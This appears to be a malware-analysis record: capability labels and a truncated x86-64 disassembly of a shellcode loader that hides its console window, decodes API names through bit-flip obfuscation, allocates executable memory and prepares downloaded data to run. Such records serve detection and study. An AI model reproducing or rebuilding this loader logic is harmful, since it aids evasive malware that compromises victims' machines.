Function at 0x4016c0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
sub rsp, 0x168
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax - 8], rbx
mov qword [rax - 0x10], rbp
mov qword [rax - 0x18], rsi
mov qword [rax - 0x20], rdi
mov qword [rax - 0x28], r12
mov qword [rax - 0x30], r13
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
mov rax, qword [0x00462730]
xor rax, rsp
mov qword [rsp + 0x110], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x401724
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x00463840], 0x3b9aca00
jg 0x401744
xor ecx, ecx
call qword [sym.imp.USER32.dll_UpdateWindow]
add dword [0x00463840], 1
call fcn.00401060
xor esi, esi
mov edi, esi
mov ecx, 1
mov ebp, 0x20
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x4f
je 0x401772
test edx, edx
je 0x401776
jmp 0x401778
test edx, edx
je 0x401778
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401760
mov byte [rsp + 0x88], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x4017a4
test edx, edx
je 0x4017a8
jmp 0x4017aa
test edx, edx
je 0x4017aa
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401792
mov byte [rsp + 0x89], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x4017d6
test edx, edx
je 0x4017da
jmp 0x4017dc
test edx, edx
je 0x4017dc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4017c4
mov byte [rsp + 0x8a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6a
je 0x401812
test edx, edx
je 0x401816
jmp 0x401818
test edx, edx
je 0x401818
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401800
mov byte [rsp + 0x8b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x401844
test edx, edx
je 0x401848
jmp 0x40184a
test edx, edx
je 0x40184a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401832
mov byte [rsp + 0x8c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401876
test edx, edx
je 0x40187a
jmp 0x40187c
test edx, edx
je 0x40187c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401864
mov byte [rsp + 0x8d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x37
je 0x4018b2
test edx, edx
je 0x4018b6
jmp 0x4018b8
test edx, edx
je 0x4018b8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4018a0
mov byte [rsp + 0x8e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x36
je 0x4018e4
test edx, edx
je 0x4018e8
jmp 0x4018ea
test edx, edx
je 0x4018ea
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4018d2
mov byte [rsp + 0x8f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x2a
je 0x401916
test edx, edx
je 0x40191a
jmp 0x40191c
test edx, edx
je 0x40191c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401904
mov byte [rsp + 0x90], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x60
je 0x401952
test edx, edx
je 0x401956
jmp 0x401958
test edx, edx
je 0x401958
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401940
mov byte [rsp + 0x91], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401984
test edx, edx
je 0x401988
jmp 0x40198a
test edx, edx
je 0x40198a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401972
mov byte [rsp + 0x92], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x4019b6
test edx, edx
je 0x4019ba
jmp 0x4019bc
test edx, edx
je 0x4019bc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4019a4
mov byte [rsp + 0x93], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 4
je 0x4019e3
test eax, eax
je 0x4019e7
jmp 0x4019e9
test eax, eax
je 0x4019e9
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x4019d6
mov byte [rsp + 0x94], dl
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9, rax
mov qword [rsp + 0x40], rax
mov edi, esi
mov edx, 1
mov r8, rbp
nop
nop
mov ecx, edx
mov eax, edx
and eax, 4
and ecx, 0x52
je 0x401a32
test eax, eax
je 0x401a36
jmp 0x401a38
test eax, eax
je 0x401a38
or edi, edx
add edx, edx
sub r8, 1
jne 0x401a20
mov byte [rsp + 0x78], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6d
je 0x401a62
test edx, edx
je 0x401a66
jmp 0x401a68
test edx, edx
je 0x401a68
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401a50
mov byte [rsp + 0x79], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x401a92
test edx, edx
je 0x401a96
jmp 0x401a98
test edx, edx
je 0x401a98
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401a80
mov byte [rsp + 0x7a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x70
je 0x401ac2
test edx, edx
je 0x401ac6
jmp 0x401ac8
test edx, edx
je 0x401ac8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401ab0
mov byte [rsp + 0x7b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x71
je 0x401af2
test edx, edx
je 0x401af6
jmp 0x401af8
test edx, edx
je 0x401af8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401ae0
mov byte [rsp + 0x7c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x65
je 0x401b22
test edx, edx
je 0x401b26
jmp 0x401b28
test edx, edx
je 0x401b28
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401b10
mov byte [rsp + 0x7d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401b52
test edx, edx
je 0x401b56
jmp 0x401b58
test edx, edx
je 0x401b58
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401b40
mov byte [rsp + 0x7e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x45
je 0x401b82
test edx, edx
je 0x401b86
jmp 0x401b88
test edx, edx
je 0x401b88
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401b70
mov byte [rsp + 0x7f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401bb2
test edx, edx
je 0x401bb6
jmp 0x401bb8
test edx, edx
je 0x401bb8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401ba0
mov byte [rsp + 0x80], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401be4
test edx, edx
je 0x401be8
jmp 0x401bea
test edx, edx
je 0x401bea
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401bd2
mov byte [rsp + 0x81], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6b
je 0x401c16
test edx, edx
je 0x401c1a
jmp 0x401c1c
test edx, edx
je 0x401c1c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401c04
mov byte [rsp + 0x82], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x67
je 0x401c52
test edx, edx
je 0x401c56
jmp 0x401c58
test edx, edx
je 0x401c58
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401c40
mov byte [rsp + 0x83], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 4
je 0x401c7f
test eax, eax
je 0x401c83
jmp 0x401c85
test eax, eax
je 0x401c85
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x401c72
mov byte [rsp + 0x84], dl
lea rdx, [rsp + 0x78]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
mov r14d, 0x4f600
mov rdx, r14
xor ecx, ecx
call rax
mov r15, rax
mov edi, esi
mov edx, 1
mov r8, rbp
nop
nop
nop
mov ecx, edx
mov eax, edx
and eax, 1
and ecx, 0x64
je 0x401ce2
test eax, eax
je 0x401ce6
jmp 0x401ce8
test eax, eax
je 0x401ce8
or edi, edx
add edx, edx
sub r8, 1
jne 0x401cd0
mov byte [rsp + 0xb0], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x32
je 0x401d14
test edx, edx
je 0x401d18
jmp 0x401d1a
test edx, edx
je 0x401d1a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401d02
mov byte [rsp + 0xb1], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x52
je 0x401d46
test edx, edx
je 0x401d4a
jmp 0x401d4c
test edx, edx
je 0x401d4c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401d34
mov byte [rsp + 0xb2], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x63
je 0x401d82
test edx, edx
je 0x401d86
jmp 0x401d88
test edx, edx
je 0x401d88
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401d70
mov byte [rsp + 0xb3], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4f
je 0x401db4
test edx, edx
je 0x401db8
jmp 0x401dba
test edx, edx
je 0x401dba
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401da2
mov byte [rsp + 0xb4], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4c
je 0x401de6
test edx, edx
je 0x401dea
jmp 0x401dec
test edx, edx
je 0x401dec
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401dd4
mov byte [rsp + 0xb5], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x70
je 0x401e22
test edx, edx
je 0x401e26
jmp 0x401e28
test edx, edx
je 0x401e28
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401e10
mov byte [rsp + 0xb6], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6e
je 0x401e54
test edx, edx
je 0x401e58
jmp 0x401e5a
test edx, edx
je 0x401e5a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401e42
mov byte [rsp + 0xb7], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x79
je 0x401e86
test edx, edx
je 0x401e8a
jmp 0x401e8c
test edx, edx
je 0x401e8c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401e74
mov byte [rsp + 0xb8], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x37
je 0x401ec2
test edx, edx
je 0x401ec6
jmp 0x401ec8
test edx, edx
je 0x401ec8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401eb0
mov byte [rsp + 0xb9], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x77
je 0x401ef4
test edx, edx
je 0x401ef8
jmp 0x401efa
test edx, edx
je 0x401efa
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401ee2
mov byte [rsp + 0xba], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x73
je 0x401f26
test edx, edx
je 0x401f2a
jmp 0x401f2c
test edx, edx
je 0x401f2c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401f14
mov byte [rsp + 0xbb], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x46
je 0x401f62
test edx, edx
je 0x401f66
jmp 0x401f68
test edx, edx
je 0x401f68
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401f50
mov byte [rsp + 0xbc], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x52
je 0x401f94
test edx, edx
je 0x401f98
jmp 0x401f9a
test edx, edx
je 0x401f9a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401f82
mov byte [rsp + 0xbd], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6b
je 0x401fc6
test edx, edx
je 0x401fca
jmp 0x401fcc
test edx, edx
je 0x401fcc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401fb4
mov byte [rsp + 0xbe], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x70
je 0x402002
test edx, edx
je 0x402006
jmp 0x402008
test edx, edx
je 0x402008
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401ff0
mov byte [rsp + 0xbf], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x49
je 0x402034